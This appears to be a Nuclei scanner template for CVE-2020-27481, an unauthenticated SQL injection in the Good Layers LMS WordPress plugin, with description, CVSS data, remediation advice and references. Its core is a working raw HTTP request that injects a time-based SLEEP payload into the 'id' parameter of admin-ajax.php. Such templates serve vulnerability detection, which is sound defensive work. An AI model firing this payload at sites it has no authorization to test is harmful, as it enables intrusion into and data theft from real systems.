An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization.
PoC
id: CVE-2020-27481
info:
name: Good Layers LMS Plugin <= 2.1.4 - SQL Injection
author: edoardottt
severity: critical
description: |
An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/652eaef8-5a3c-4a2d-ac60-b5414565c397
- https://gist.github.com/0xx7/a7aaa8b0515139cf7e30c808c8d54070
- https://nvd.nist.gov/vuln/detail/CVE-2020-27481
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-27481
cwe-id: CWE-89
epss-score: 0.10027
epss-percentile: 0.9537
cpe: cpe:2.3:a:goodlayers:good_learning_management_system:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: goodlayers
product: good_learning_management_system
framework: wordpress
tags: time-based-sqli,cve,cve2020,goodlayerslms,sqli,wpscan,goodlayers,wordpress,vkev,vuln
http:
- raw:
- |
@timeout: 15s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)
matchers:
- type: dsl
dsl:
- "duration>=6"
- "status_code == 200"
- "contains(body, 'goodlayers-lms') || contains(body, 'goodlms')"
condition: and
# digest: 4a0a00473045022025688e21276ecc254cda8745b18b8538c3bc9fb032456dd043d3f125b7d280f9022100d1097857652f09076d5f75fa1c095b81205490117830426a1a791ab0673966ed:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.